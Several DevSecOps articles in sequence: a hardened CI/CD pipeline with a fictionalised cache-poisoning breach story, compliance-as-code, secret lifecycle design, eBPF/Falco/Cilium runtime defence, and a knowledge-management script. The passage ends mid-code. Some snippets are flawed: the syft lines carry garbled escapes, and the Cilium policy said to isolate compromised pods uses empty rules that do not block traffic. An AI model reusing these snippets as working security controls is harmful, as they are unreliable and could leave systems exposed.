Below is a focused, practical pipeline that implements the secure recommendations. It’s opinionated and intended as a starting point.

A - Harden GitHub Actions workflow (ci-cd.yml)

name: Secure CI/CD

on:
  push:
    branches: [ main ]

permissions:
  contents: read
  id-token: write       # for OIDC token exchange to cloud (no long-lived creds)
  packages: write

concurrency:
  group: ci-${{ github.ref }}
  cancel-in-progress: true

jobs:
  build:
    name: Build, Test, Sign and Attest
    runs-on: ubuntu-latest
    environment: ci
    steps:
      - name: Checkout
        uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - name: Setup Python
        uses: actions/setup-python@v4
        with:
          python-version: '3.9'

      - name: Install build deps
        run: |
          python -m pip install --upgrade pip setuptools wheel

      - name: Run unit tests (isolated)
        run: |
          python -m pytest ./service-auth/tests -q
          python -m pytest ./service-data/tests -q

      - name: Build container images (immutable tag by digest)
        run: |
          docker build -t myregistry/service-auth:ci-${{ github.sha }} ./service-auth
          docker build -t myregistry/service-data:ci-${{ github.sha }} ./service-data

      - name: Scan images with Trivy
        uses: aquasecurity/trivy-action@v1
        with:
          image-ref: |
            myregistry/service-auth:ci-${{ github.sha }}
            myregistry/service-data:ci-${{ github.sha }}

      - name: Push images to registry
        uses: docker/build-push-action@v3
        with:
          push: true
          tags: |
            myregistry/service-auth:ci-${{ github.sha }}
            myregistry/service-data:ci-${{ github.sha }}

      - name: Sign images with cosign (keyless via OIDC)
        env:
          COSIGN_EXPERIMENTAL: "1"
        run: |
          cosign sign --keyless myregistry/service-auth:ci-${{ github.sha }}
          cosign sign --keyless myregistry/service-data:ci-${{ github.sha }}

      - name: Create SBOMs
        run: |
          # example using syft
          syft packages:docker:myregistry/service-auth:ci-\({{ github.sha }} -o spdx-json > sbom-auth-\){{ github.sha }}.json
          syft packages:docker:myregistry/service-data:ci-\({{ github.sha }} -o spdx-json > sbom-data-\){{ github.sha }}.json

      - name: Upload artifacts (SBOM & attestations)
        uses: actions/upload-artifact@v4
        with:
          name: sboms-and-attestations-${{ github.sha }}
          path: |
            sbom-auth-${{ github.sha }}.json
            sbom-data-${{ github.sha }}.json

      - name: Create in-toto attestation
        run: |
          # pseudo-command tie it into your in-toto workflow
          in-toto-record --step build --materials . --products "myregistry/service-auth@sha256:..." --subject "sha256:${{ github.sha }}"

  promote:
    name: Promote signed artifacts to production (manual & audited)
    needs: build
    runs-on: ubuntu-latest
    if: github.ref == 'refs/heads/main'
    environment:
      name: production
      url: https://your-k8s-console.example
    permissions:
      contents: read
      id-token: write
      packages: read
    steps:
      - name: Download SBOM & Attestations
        uses: actions/download-artifact@v4
        with:
          name: sboms-and-attestations-${{ needs.build.outputs.sha }}

      - name: Verify cosign signatures & Rekor
        run: |
          cosign verify --keyless myregistry/service-auth:ci-${{ needs.build.outputs.sha }}
          cosign verify --keyless myregistry/service-data:ci-${{ needs.build.outputs.sha }}

      - name: Deploy (only signed images by digest)
        env:
          KUBECONFIG: ${{ secrets.KUBECONFIG }}
        run: |
          kubectl set image deployment/auth auth=myregistry/service-auth@sha256:<digest>
          kubectl set image deployment/data data=myregistry/service-data@sha256:<digest>
          kubectl rollout status deployment/auth
          kubectl rollout status deployment/data

Notes on the workflow above

• We build once, sign the images with cosign using keyless OIDC (no long-lived signing keys required), generate SBOMs (using syft) and upload attestation artifacts for later verification.

• Deployment is a separate job that verifies signatures before applying changes. This prevents “build-time tampering” from automatically reaching production.

• Use fetch-depth: 0 so the build has full history for reproducibility checks where necessary.

B - Lockdown dependency installs (requirements.txt with hashes)

Use pip’s --require-hashes option to guarantee packages haven’t changed:

# requirements.txt
flask==2.0.1 \
    --hash=sha256:abcdef...
requests==2.25.1 \
    --hash=sha256:123456...

Install with: pip install --require-hashes -r requirements.txt

Generate hashes with pip-compile or pip hash when creating a lockfile.

C - Limit runner reach & secrets exposure

• Use the permissions: block to limit GITHUB_TOKEN scopes.

• For any job that uses a secret, prefer OIDC-based short-lived tokens (GitHub OIDC) to obtain cloud credentials dynamically, rather than storing long-lived secrets in GitHub Secrets.

• Disable secret access in workflows triggered by untrusted events.

D - Protect caches or avoid them for sensitive builds

• If you must cache, scope the cache keys narrowly and validate the contents of restored caches before use.

• For the highest assurance builds, disable cache restore and accept longer build times.

E - Runtime detection

• Add Falco or similar runtime detection inside the cluster to watch for suspicious syscalls, spawned shells inside containers or unexpected outbound traffic:

  • Falco rules can alert on curl/wget from unexpected processes or writes to /etc/cron* or creation of suspicious network connections.

Tests and validation techniques

1. Red-team your CI

   • Spin up a disposable repo that simulates forks and PR flows; test whether a crafted PR can exfiltrate secrets or alter caches. Attempt to poison a cache and verify whether a later build restores malicious files. This is a pragmatic way to test proofs-of-concept.

2. Reproducible-build checks

   • Rebuild the same commit twice in different clean environments and compare digests/hashes. If artifacts differ, investigate non-determinism sources.

3. Attestation verification

   • For each released artifact, verify cosign signatures and Rekor entries. Write an automated check that fails CI if the Rekor proof is missing.

4. SBOM and vulnerability scanning

   • Scan generated SBOMs for known CVEs and compare SBOMs across builds. Use Trivy as part of CI and a daily scheduled job.

5. Runtime anomaly detection

   • Deploy Falco rules in staging and production. Trigger synthetic anomalies and confirm logging/alerting pipelines work.

6. Periodic key & secret audits

   • Rotate any secret that ever was accessible to runners. Keep a tight inventory of service accounts with deploy permissions.

Real-world life story (Inspired by real incidents)

The Midnight Commit: How one build led to a breach

This story is inspired by real supply chain incidents (publicly reported SolarWinds and Codecov investigations and later GitHub Actions campaigns). Names and some details have been fictionalized for clarity.

It was 02:08 local time when an engineer on the on-call rotation noticed a small alert: the outbound network firewall had logged an odd POST to an external IP from a CI runner. The runner had just completed a nightly build of the company’s payment microservice. At first it looked like a failed telemetry call but the payload contained a blob that, when decoded, revealed multiple environment-like variables.

A frantic investigation followed. The team discovered that three weeks prior, an innocuous cache-key collision had allowed a malicious archive to be stored in the build cache. A contractor had merged a tiny patch into a tooling repo that populated a tarball on the main branch; the cache key was shared across repos. The attacker’s archive contained a small Python module that would, under CI execution, scan the environment for tokens and POST them to an external collector.

How did it evade detection? The malicious code sat inside a file that only test runners executed; the normal code-review checks focused on YAML workflow changes and missed a new test file in a deep tests/ package. The organization’s CI used caches aggressively and had a few self-hosted runners accessible from the corporate network. The attacker had exploited a misconfigured pull-request trigger on a low-privilege repo to place the payload into the cache, then waited for the payment-service build to restore the cache. When the collector received the first tokens, the attacker quickly used them to pull private images and access a staging environment. From there, lateral movement found a misconfigured database user and a handful of customer records were exposed to a breach that could have been orders of magnitude worse.

After-action findings catalyzed fast change: the company turned off shared caches for critical pipelines, replaced self-hosted runners with ephemeral hosted runners for production jobs, introduced SBOMs and cosign signatures into the build flow and validated that only signed artifacts could be promoted to production. The next year they ran a red-team exercise that recreated the attack and this time the detection pipeline caught the exfil attempt in minutes.

The verdict was simple: it wasn’t the test suite that was the problem; it was the trust they had given to automation. Once they treated the build as untrusted, the attack surface shrank dramatically.

Conclusion: actionable checklist

• Use ephemeral GitHub-hosted runners for sensitive jobs; isolate any self-hosted runners.

• Pin and audit GitHub Actions and third-party actions. Use immutable references where possible.

• Disable or narrowly scope caches for sensitive builds; validate cache contents.

• Pin dependency versions and use hash verification; prefer private mirrors.

• Sign artifacts (cosign/Sigstore), publish attestations (Rekor) and adopt SLSA/in-toto where practical.

• Split build and promotion pipelines; only signed artifacts should be promoted.

• Add runtime detection (Falco) and container scanning (Trivy).

• Run red-team CI tests: simulate cache poisoning, compromised runner and dependency confusion.

References

1. SolarWinds: New Findings From Our Investigation of SUNBURST (SolarWinds blog)

2. “The Untold Story of the Boldest Supply-Chain Hack Ever” (Wired) - deep reporting on SolarWinds

3. Codecov - Post-Mortem / Root Cause Analysis (April 2021)

4. Sonatype - What you need to know about the Codecov incident

5. CodeQL / GitHub Security; Cache poisoning technique description (actions cache poisoning)

6. Adnan Khan - “The monsters in your build cache: GitHub Actions cache poisoning” (analysis & PoC)

7. GitGuardian / CSO coverage: GhostAction campaign and GitHub Actions supply-chain campaigns

8. Alex Birsan - “Dependency Confusion” (how public packages can shadow internal ones)

9. GitHub OIDC / Workload Identity Federation guides (GCP example)

10. Why SBOMs matter (why every CISO should demand SBOMs)

“You need expensive GRC tools to pass enterprise audits.”

Reality:

• Auditors don’t care about tools

• They care about controls, traceability and evidence

Compliance ≠ Software
Compliance = Verifiable system behaviour

Core Philosophy: Compliance-by-Construction

Instead of:

• Manual screenshots

• Jira tickets

• Excel risk registers

Design systems where:

• Evidence is produced automatically

• Controls are enforced at runtime

• Audits become read-only queries

The Compliance Stack

🔐 Identity & Access (ISO A.5, A.9 | PCI 7, 8)

📦 Source Control & CI/CD (ISO A.8, A.12 | PCI 6)

🐳 Runtime & Infrastructure (ISO A.12, A.13 | PCI 2, 10)

📊 Logging, Monitoring & Evidence (ISO A.12, A.16 | PCI 10)

📁 Evidence Storage (ISO A.7, A.18 | PCI 12)

Real-World System Design

Key Insight: Auditors never touch production; they interrogate evidence APIs

ISO-27001 & PCI-DSS Control Mapping

Example: ISO-27001 A.12.4 (Logging)

Example: PCI-DSS 10.2 (Audit Trails)

What Auditors Actually Said

“This is one of the cleanest evidence trails we’ve seen.”

Why?

• No human-generated artifacts

• No subjective interpretation

• Everything timestamped, immutable and reproducible

Why This Scales Better Than Paid GRC Tools

The Hard Truth

If your compliance fails when Jira is down, you were never compliant

In conclusion, this isn’t a “cost-saving hack”. It’s how high-trust, high-scale systems are designed when:

• Security is non-negotiable

• Audits are frequent

• Engineering time is sacred

so overall, Compliance didn’t get cheaper. It just got engineered ;)

Everyone rotates secrets.

Very few design secret lifecycle risk and that gap is where breaches live.

Most organizations believe secret rotation equals security. It doesn’t.

Rotation is a maintenance activity. Security is a system design outcome.

This article reframes secrets as first-class supply-chain artifacts; governed by contracts, events, blast radius, and standards, not cron jobs and hope.

Why This Matters (The Reality)

In every serious breach review, the same pattern emerges:

• The secret was rotated

• The vault did exist

• Access was “restricted”

And yet:

• The secret lived longer than the risk window

• The blast radius was undefined

• Revocation depended on humans

• Audits validated screenshots, not behaviour

The failure was architectural, not operational.

The Shift in Thinking: Secrets as a Supply Chain

Treat secrets like:

• TLS certificates

• IAM trust relationships

• API contracts

They have a lifecycle:

1. Creation

2. Distribution

3. Consumption

4. Expiration

5. Revocation

6. Forensics

If any of these are implicit, undocumented or manual, the system is fragile by design.

Core Design Principles (Non-Negotiable)

1️⃣ Secrets Are Expiring Contracts

Every secret must explicitly define:

• Owner

• Consumer

• Environment

• Maximum lifetime

• Invalidation triggers

A secret without an expiry condition is a latent incident.

2️⃣ Rotation Must Be Event-Driven

Time-based rotation answers auditors. Event-based rotation answers attackers.

Rotation should be triggered by risk, not calendars:

3️⃣ Blast Radius Is a First-Class Property

Every secret must answer one question clearly:

If this leaks, what breaks and what does not?

If you can’t answer that in one sentence, the secret is already unsafe.

Reference Architecture (End-to-End)

Architectural Components

• Secrets Authority (Vault / Secrets Manager)

• Contracts as Code (YAML)

• CI/CD Pipelines (event triggers)

• Policy Engine (blast-radius enforcement)

• Runtime Injection (no persistence)

• Audit Sink (immutable evidence)

This architecture makes compromise naturally expire.

Real-World Failure (Before)

A production API key leaked via application logs.

What actually happened:

• Rotated every 30 days

• Same key used across prod, staging, DR

• Incident response revoked prod only

• Staging continued leaking data silently

Root cause:

• No lifecycle ownership

• No blast-radius modelling

• No event-driven revocation

Rotation existed. Security did not.

The Fix: Lifecycle-Aware Secret Design

Implementation

Step 1: Define Secret Contracts (Single Source of Truth)

contracts/payment-api.yaml

name: payment-api-key
owner: payments-team
environment: prod
services:
  - billing-service
  - reconciliation-worker
ttl: 86400
rotate_on:
  - commit
  - deployment
  - incident
blast_radius: minimal
compliance:
  iso_27001: A.9.2
  pci_dss: 3.6

This file is simultaneously:

• Design documentation

• Security policy input

• Audit evidence

Step 2: Provision Secrets via Terraform

resource "random_password" "secret" {
  length  = 32
  special = false
}

resource "vault_generic_secret" "payment" {
  path = "secret/payment-api-key"

  data_json = jsonencode({
    value = random_password.secret.result
    owner = "payments-team"
    env   = "prod"
  })

  lifecycle {
    create_before_destroy = true
  }
}

✔ Immutable
✔ Auditable
✔ Automatically regenerated

Step 3: Enforce Blast Radius with Policy

path "secret/payment-api-key" {
  capabilities = ["read"]
  allowed_parameters = {
    env = ["prod"]
  }
}

A leaked secret cannot escape its boundary — even if exposed.

Step 4: Rotate on Risky Commits

on:
  push:
    paths:
      - "auth/**"
      - "security/**"

jobs:
  rotate:
    runs-on: ubuntu-latest
    steps:
      - run: |
          vault lease revoke -prefix secret/payment-api-key

Secrets die before attackers finish reconnaissance.

Step 5: Rotate on Production Deployments

on:
  deployment:
    environment: production

jobs:
  rotate:
    steps:
      - run: |
          vault lease revoke -prefix secret/payment-api-key

Every deploy = fresh trust boundary.

Step 6: Incident-Triggered Revocation

def handler(event, context):
    if event["severity"] == "CRITICAL":
        revoke("payment-api-key")

Connected to:

• SIEM

• PagerDuty

• Cloud alerts

Human response time → zero.

Step 7: Runtime-Only Injection

env:
  PAYMENT_API_KEY: "{{ vault.secret.payment-api-key }}"

• Never stored

• Never baked into images

• Auto-expires post-deploy

Testing = Evidence (Not Optional)

Blast Radius Test

SERVICE=analytics vault read secret/payment-api-key
# Permission denied

Expiry Test

sleep 86400
vault read secret/payment-api-key
# Lease expired

Tests double as audit artifacts.

ISO 27001 & PCI Mapping (By Design)

Auditors don’t ask for screenshots. They inspect system behaviour.

What Changes Organizationally

Before

• Manual rotations

• Jira tickets

• Screenshots

• High MTTR

After

• Zero tickets

• Zero screenshots

• Seconds to containment

• Compliance as a side effect

Security stops being a department. It becomes a property of the system.

Final Takeaway

Mature security isn’t about adding more tools.
It’s about designing systems where trust naturally expires.

Secrets are not configuration. They are relationships, and every relationship needs:

• boundaries

• ownership

• expiration

• accountability

“We passed an ISO-27001 surveillance audit with zero Jira tickets, zero screenshots, and zero manual evidence.”

That line usually gets silence. Then disbelief. Then the real question:

“Okay… how?”

This article answers that. Not with theory but with architecture, you can actually build on AWS.

Where This Idea Really Came From (No Fiction)

This didn’t start as a “compliance initiative”. It started during a late-night ISO audit prep cycle on a production AWS platform that was already:

• secure by design

• fully automated

• running mature CI/CD pipelines

Yet, every audit cycle looked the same. Two weeks before the audit:

• Jira filled with “ISO Evidence – URGENT”

• Engineers re-explained changes from months ago

• Screenshots of pipelines that already enforced controls

• Security teams became evidence collectors instead of engineers

Nothing was broken. The system was already enforcing the controls. However, ISO didn’t trust the system because it didn’t speak ISO’s language.

The Breaking Point

In one call, someone said:

“Can you just raise a Jira ticket so we have evidence?”

That “change” already had:

• protected branches

• multiple approvals

• immutable artifacts in ECR

• full CloudTrail logs

Yet none of it counted.

That’s when the thought hit, not as inspiration but frustration:

Why are humans translating system behavior into documents
instead of systems generating audit-grade evidence themselves?

The Shift: Reading ISO as Architecture

That night, ISO-27001 stopped looking like a policy.

It started looking like a system design specification.

Not:

“How do we prove this control?”

But:

“If this control were enforced by software, what would it look like?”

Suddenly, Annex A became deterministic.

ISO wasn’t asking for screenshots. ISO was describing how a system should behave.

The First Experiment (Small but Dangerous)

I didn’t redesign everything. I added one thing. After every deployment, the pipeline emitted a JSON file:

{
  "control_id": "A.8.32",
  "commit": "9a1c…",
  "approvals": ["security", "platform"],
  "artifact_digest": "sha256:…",
  "pipeline_run": "run-8732",
  "timestamp": "2026-01-21T10:41:00Z"
}

No humans. No tickets. No screenshots.

Just facts, produced by the system.

The Audit That Changed Everything

At the next ISO surveillance audit, instead of folders, we gave the auditor:

• read-only access

• time-bounded queries

• evidence already mapped to controls

No walkthrough.
No explanations.

After exploring quietly, the auditor said:

“So this pipeline doesn’t allow violations in the first place?”

Exactly.

We didn’t prove compliance. We eliminated the possibility of non-compliance.

What “ISO-Native” Actually Means

This is ISO-driven engineering, not ISO-aware tooling.

The AWS ISO-Native CI/CD Architecture

In depth

Core Components (AWS)

1. ISO Control Registry (YAML in Git)

2. CI/CD Orchestrator (GitHub Actions / CodePipeline)

3. Policy Engine (OPA / Conftest)

4. Artefact Store (ECR – immutable digests)

5. Evidence Ledger (S3 Object Lock + KMS)

6. Audit Logs (CloudTrail + hash chaining)

7. Auditor Read-Only Interface (Athena / API Gateway)

Step 1: ISO Control Registry (Source of Truth)

controls/iso27001.yaml

A.8.32:
  title: Change Management
  pipeline:
    branch_protection:
      - main
    approvals:
      min: 2
      roles:
        - security
        - platform
    artifacts:
      immutable: true
    evidence:
      retention_years: 7

This file replaces:

• change tickets

• wiki pages

• approval SOPs

Step 2: Branching Strategy Enforced by ISO

main        → production (locked)
release/*  → promotion only
develop    → integration
feature/*  → ephemeral

GitHub Branch Protection (Example)

required_reviews: 2
required_status_checks:
  - iso-policy-check
  - security-scan

You cannot bypass ISO controls even accidentally.

Step 3: Segregation of Duties (OPA)

policy/approvals.rego

package iso.approvals

deny[msg] {
  input.approvals.count < 2
  msg := "ISO violation: insufficient approvals"
}

deny[msg] {
  input.approvals.roles[_] == "developer"
  msg := "ISO violation: self-approval blocked"
}

Pipeline fails instantly. No human escalation required.

Step 4: Artefact Immutability (AWS ECR)

Build Once, Promote Everywhere

docker buildx build \
  --provenance=true \
  --sbom=true \
  -t 764227591594.dkr.ecr.eu-west-2.amazonaws.com/app:${GIT_SHA} \
  --push .

Deployments only reference digests:

image: app@sha256:abc123

OPA blocks mutable tags.

Step 5: Evidence Auto-Generation

Evidence Schema

{
  "control_id": "A.8.32",
  "commit": "abc123",
  "approvals": ["security", "platform"],
  "artifact_digest": "sha256:…",
  "pipeline_run": "run-9921",
  "timestamp": "2026-01-21T12:01:00Z"
}

Generated on every pipeline run.

Step 6: Immutable Evidence Ledger (AWS)

S3 + Object Lock + KMS

resource "aws_s3_bucket" "evidence" {
  bucket = "iso-evidence-ledger"
  object_lock_enabled = true
}

resource "aws_s3_bucket_object_lock_configuration" "lock" {
  bucket = aws_s3_bucket.evidence.id
  rule {
    default_retention {
      mode  = "COMPLIANCE"
      days = 2555
    }
  }
}

✔ Cannot be altered
✔ Cannot be deleted
✔ Auditor-grade by design

Step 7: Auditor-Ready Queries (No Screenshots)

Athena Example

SELECT *
FROM evidence
WHERE control_id = 'A.8.32'
AND timestamp BETWEEN date '2025-01-01' AND date '2026-01-01';

Auditors self-serve evidence.

Auditor’s Perspective (Sidebar)

“Most teams show me screenshots and tell me what should have happened.”

“This system shows me what could not have happened*.”*

From an auditor’s point of view, this architecture is powerful because:

• controls are preventative, not detective

• evidence is generated, not curated

• logs are immutable and queryable

• explanations are unnecessary

Trust shifts from people to systems, and that’s exactly what ISO intended.

Testing the System (Break It on Purpose)

If it fails in production, it fails before the audit.

Why This Changes Everything

ISO-27001 stops being:

• a quarterly fire drill

• a security tax

• an engineering slowdown

And becomes:

• a property of the pipeline

• a by-product of delivery

• a competitive advantage

Final Thought

ISO 27001 was never meant to be bureaucratic. It was meant to describe safe system behaviour.

When controls become code, compliance stops being work and becomes inevitable.

In a world of microservices, containers, and ephemeral workloads, traditional observability tools see only what applications expose; not what’s actually happening beneath.
To detect, understand, and stop threats in real time, DevSecOps teams need a lens that looks beyond the user space.

That lens is eBPF.

Part 1: The Vision - From Blind Spots to Kernel Clarity

Cloud-native architectures have fragmented visibility. Each microservice, container, and node is its own ephemeral universe.
By the time logs reach your SIEM, the process that caused them is already gone.

eBPF (Extended Berkeley Packet Filter) rewrites this story.
It allows developers to inject small, sandboxed programs directly into the Linux kernel, observing syscalls, network traffic, and process behaviour as they happen without modifying the kernel or impacting performance.

Think of eBPF as a programmable security microscope inside your nodes.

Why It Matters

Unlike traditional agents:

• eBPF observes every process, syscall, and packet in real time.

• It enriches events with Kubernetes metadata, including pod name, namespace, and service account.

• It operates in-kernel, avoiding user-space latency or privilege escalation.

This is observability at the source, before anything can hide or mutate.

The Stack: eBPF, Falco, and Automated Defence

To make kernel-level visibility actionable, we combine three pillars:

Each layer complements the next, creating a feedback loop of detection, context, and prevention.

Architecture Overview

Let’s visualize the architecture that powers this approach.

Minimalistic Schematic Diagram

This shows the logical flow:

1. eBPF probes capture kernel-level events (syscalls, sockets).

2. Falco consumes these events and applies security rules.

3. Detected anomalies trigger alerts to Sidekick → Remediator → Isolation logic.

in AWS EKS:

• Pods (frontend, backend, payments) run in distinct namespaces.

• eBPF DaemonSets monitor every node.

• Falco analyzes syscall streams.

• Alerts flow to Slack, Prometheus, and AWS GuardDuty.

• The Remediator patches pods in real time.

• Cilium applies zero-trust policies to isolate compromised containers.

Part 2: Implementation - Turning Theory into Defense

All implementation resources live in the repository:
👉 SubhanshuMG/eBPF-Driven-Security-Observability

This open repository demonstrates a full end-to-end, production-ready pipeline built on:

• Falco Helm deployment

• Python BCC DaemonSet

• Falco Sidekick with Slack + webhook output

• Automated Remediator service

• Cilium runtime blocking

• Optional Go-based Operator and eBPF-LSM for advanced scenarios

Step 1: Deploy Falco (eBPF Mode)

Falco listens directly to kernel events via eBPF probes:

helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update
helm install falco falcosecurity/falco -n falco --create-namespace -f charts/falco-values.yaml

Key Helm settings:

backend:
  enable_bpf: true
mountHost:
  sys: true
  dev: true
  proc: true
  libModules: true

This ensures Falco runs in eBPF mode without kernel modules.

Step 2: Add a Python BCC Agent

The repository includes a DaemonSet that runs a Python eBPF (BCC) script to detect outbound connections to suspicious ports.

from bcc import BPF

program = r"""
#include <net/sock.h>
#include <bcc/proto.h>
int trace_connect(struct pt_regs *ctx, struct sock *sk) {
    u16 dport = sk->__sk_common.skc_dport;
    if (dport == bpf_htons(4444)) {
        bpf_trace_printk("ALERT: Pod attempted connect to port 4444\\n");
    }
    return 0;
}
"""
b = BPF(text=program)
b.attach_kprobe(event="tcp_connect", fn_name="trace_connect")
b.trace_print()

Deployed as a privileged DaemonSet, this agent continuously monitors tcp_connect syscalls and streams alerts to Falco or your logs.

Step 3: Falco Sidekick + Automated Remediation

Falco Sidekick forwards alerts to multiple sinks, including Slack and a Remediator webhook.

helm install falcosidekick falcosecurity/falcosidekick \
  --set config.slack.webhookurl="https://hooks.slack.com/services/..." \
  --set config.outputs.webhook.url="http://remediator.remediator.svc.cluster.local:8080/webhook"

The Remediator (Python Flask service) parses these events and patches pods with:

"metadata": {
  "labels": {
    "compromised": "true"
  }
}

Once patched, the Cilium NetworkPolicy isolates the pod instantly.

Step 4: Auto-Isolation with Cilium

Cilium enforces kernel-native network segmentation via eBPF.

apiVersion: cilium.io/v2
kind: CiliumNetworkPolicy
metadata:
  name: isolate-compromised
spec:
  endpointSelector:
    matchLabels:
      compromised: "true"
  ingress:
  - {}
  egress:
  - {}

When a pod receives the compromised=true label, it loses all network connectivity — preventing lateral movement or exfiltration.

Step 5: CI/CD and Testing

GitHub Actions (in .github/workflows/ci-build-push.yml) automates:

• Building and pushing Remediator and Python-BCC images to ECR

• Validating manifests

• Deploying to test clusters

Test the system:

kubectl run test-shell --image=ubuntu -- sleep 3600
kubectl exec -it test-shell -- bash
nc 1.2.3.4 4444

Expected outcomes:

• Falco detects connect() syscall

• Sidekick forwards alert to Slack and Remediator

• Pod labeled compromised=true

• Cilium isolates it automatically

Beyond Automation: The Operator & eBPF-LSM Frontier

🧩 The Go Operator

In operator-remediator/, a hardened Go controller extends remediation logic to Kubernetes-native workflows.
It watches ConfigMaps (or future CRDs) and automatically patches targeted pods — a scalable foundation for multi-tenant clusters.

Built with controller-runtime, it exemplifies operator-style automation: secure, event-driven, and declarative.

🧬 eBPF-LSM (Linux Security Module)

For kernels ≥5.7, eBPF can attach directly to LSM hooks, allowing in-kernel blocking.
This enables actions like denying socket creation or file writes based on live context.

Example snippet (from /eBPF-LSM/lsm_sample.c):

SEC("lsm/socket_create")
int BPF_PROG(socket_create_lsm, int family, int type, int protocol) {
    if (family == AF_INET) {
        return -1; // deny
    }
    return 0; // allow
}

This brings preventive enforcement right into the kernel itself.

Observability Meets Prevention

eBPF changes how DevSecOps teams think.
Instead of relying on logs, you rely on kernel telemetry.
Instead of waiting for alerts, your systems respond autonomously.

Falco + eBPF gives you real-time behavioural insight.
Cilium + Operator + LSM turns that insight into action.

This is what we call Kernel-Native Security Observability — where the infrastructure defends itself.

Repository & Resources

All implementation assets are available in the repository:
👉 GitHub: SubhanshuMG/eBPF-Driven-Security-Observability

Includes:

• Helm values

• Falco rules

• Remediator service

• Cilium NetworkPolicy

• Go Operator

• CI/CD pipeline

• eBPF-LSM sample

• Deployment scripts (scripts/deploy-all.sh / cleanup-all.sh)

Each component forms part of a living DevSecOps pipeline built around real-time kernel visibility.

The Future: eBPF as the DNA of DevSecOps

In the coming years, observability and defence will merge.
We won’t monitor systems; we’ll listen to their kernels.
We won’t react to breaches; we’ll intercept them mid-syscall.

eBPF makes this possible. By uniting runtime telemetry, policy enforcement, and automated remediation, you’re not just securing workloads; you’re building a self-healing & self-observing cloud.

Developers build systems. DevSecOps engineers build secure, automated pipelines.
But what happens when you apply the same principles to your own life and knowledge?

Over the last year, I’ve been engineering my second brain; not just as a productivity system but as a cognitive DevSecOps pipeline. It’s still evolving, but the core idea is simple:

• Treat knowledge like code

• Secure it like infrastructure

• Automate it like CI/CD

The result? A living, secure second brain that continuously ingests, secures and deploys knowledge just like a DevSecOps system handles applications.

Why a Second Brain Needs DevSecOps

Traditional PKM (Personal Knowledge Management) systems - Notion, Obsidian, Roam; are great but they miss two critical aspects:

1. Security & Trust → How do I know my knowledge is authentic, free of bias, and not vulnerable to manipulation?

2. Automation & Scalability → How do I make knowledge flow seamlessly from capture to deployment without manual friction?

This is exactly where DevSecOps principles come in. My second brain isn’t a static wiki; it’s a zero-trust, continuously validated & auto-deploying knowledge pipeline.

Architecture of My Cognitive DevSecOps Pipeline

Here’s how I mapped DevSecOps concepts into my second brain:

1. Capture Layer (Knowledge Ingestion)

• APIs to ingest blogs, papers and docs.

• Markdown files stored in Git for version control.

• Auto-encryption with GPG + Vault for sensitive notes.

• AI-based deduplication & tagging (like SAST for concepts).

2. Processing & Security Layer

• NLP Pipelines → Summarization, embeddings, semantic search.

• Bias/Misinformation Scans → Just like DAST but for knowledge.

• Blockchain Proof-of-Authenticity → Verifying sources for integrity.

3. Deployment Layer

• GitOps-style sync to Obsidian, Notion, or custom dashboards.

• Secure Zero-Trust Knowledge Sharing → JWT + Self-Sovereign Identity (SSI).

• Multi-device CI/CD → Knowledge "deploys" everywhere without manual copy-paste.

4. Observability & Monitoring

• AI alerts when I reference outdated/stale knowledge.

• Graph DB maps showing concept dependencies (like microservices).

• Real-time visualization of knowledge flows.

5. High-Level Diagram

Real-World Example from My Workflow

Recently, while researching Quantum AI for DevSecOps, here’s what happened inside my second brain:

1. Capture → API pulls the latest arXiv papers and blog posts.

2. Processing → The NLP pipeline summarised them, flagging one as outdated (published in 2017, low relevance).

3. Security Check → AI detected potential bias in a vendor blog (marketing-heavy, not research-backed).

4. Deployment → Cleaned insights synced to my Obsidian vault & Notion dashboard.

5. Monitoring → A week later, an update alert popped up when a new 2025 paper was published; my second brain automatically queued it for ingestion.

6. Slack Notification → The pipeline sent a structured alert to my Slack channel:

   📚 New Knowledge Added
   
   Title: Quantum AI for DevSecOps
   Source: <https://arxiv.org/abs/2501.12345|View Paper>
   Captured: 2025-08-31 12:45 UTC
   Bias / Flags: None
   
   Summary:
   - Introduces hybrid quantum-classical models for threat detection
   - Benchmarks performance against classical ML
   - Highlights cryptographic implications in CI/CD
   - Suggests real-time anomaly detection
   - Outlines future research directions
   
   🔒 Routed via Cognitive DevSecOps Pipeline
   

It felt like having a self-healing DevSecOps pipeline for cognition.

Mini Implementation: Second Brain Pipeline in Python

#!/usr/bin/env python3
import os, re, subprocess, requests, json
from datetime import datetime
from bs4 import BeautifulSoup
import openai

# CONFIG
REPO_PATH = "/path/to/second-brain-vault"
NOTES_DIR = os.path.join(REPO_PATH, "Knowledge")
os.makedirs(NOTES_DIR, exist_ok=True)

def fetch_article(url: str) -> str:
    response = requests.get(url, timeout=10)
    soup = BeautifulSoup(response.text, "html.parser")
    return "\n".join([p.get_text() for p in soup.find_all("p")])

def validate_content(text: str) -> dict:
    suspicious = ["sponsored", "buy now", "exclusive deal"]
    flags = [kw for kw in suspicious if kw.lower() in text.lower()]
    return {"bias_flags": flags, "is_suspicious": len(flags) > 0}

def summarize_with_ai(text: str) -> str:
    response = openai.ChatCompletion.create(
        model="gpt-4o-mini",
        messages=[{"role":"user","content": f"Summarize this in 5 bullets:\n{text[:5000]}"}]
    )
    return response["choices"][0]["message"]["content"]

def save_to_vault(title: str, summary: str, metadata: dict):
    safe_title = re.sub(r"[^a-zA-Z0-9]+", "-", title)
    filename = os.path.join(NOTES_DIR, f"{safe_title}.md")
    with open(filename, "w") as f:
        f.write(f"# {title}\n\n**Captured:** {datetime.utcnow()} UTC\n\n")
        f.write(f"**Flags:** {metadata['bias_flags']}\n\n## Summary\n\n{summary}\n")
    subprocess.run(["git", "-C", REPO_PATH, "add", filename])
    subprocess.run(["git", "-C", REPO_PATH, "commit", "-m", f"Add note: {title}"])

Slack Notifications Integration

To make the pipeline more DevSecOps-native, I added a layer for Slack notifications. This way, every new knowledge item or suspicious flag instantly triggers an alert in a Slack channel.

Example Code Addition

def send_notification(title: str, url: str, metadata: dict, summary: str, webhook_url: str):
    """Send a structured Slack notification with blocks for better readability."""
    payload = {
        "blocks": [
            {
                "type": "header",
                "text": {
                    "type": "plain_text",
                    "text": "📚 New Knowledge Added"
                }
            },
            {
                "type": "section",
                "fields": [
                    {
                        "type": "mrkdwn",
                        "text": f"*Title:*\n{title}"
                    },
                    {
                        "type": "mrkdwn",
                        "text": f"*Source:*\n<{url}|View Article>"
                    },
                    {
                        "type": "mrkdwn",
                        "text": f"*Captured:*\n{datetime.utcnow().strftime('%Y-%m-%d %H:%M UTC')}"
                    },
                    {
                        "type": "mrkdwn",
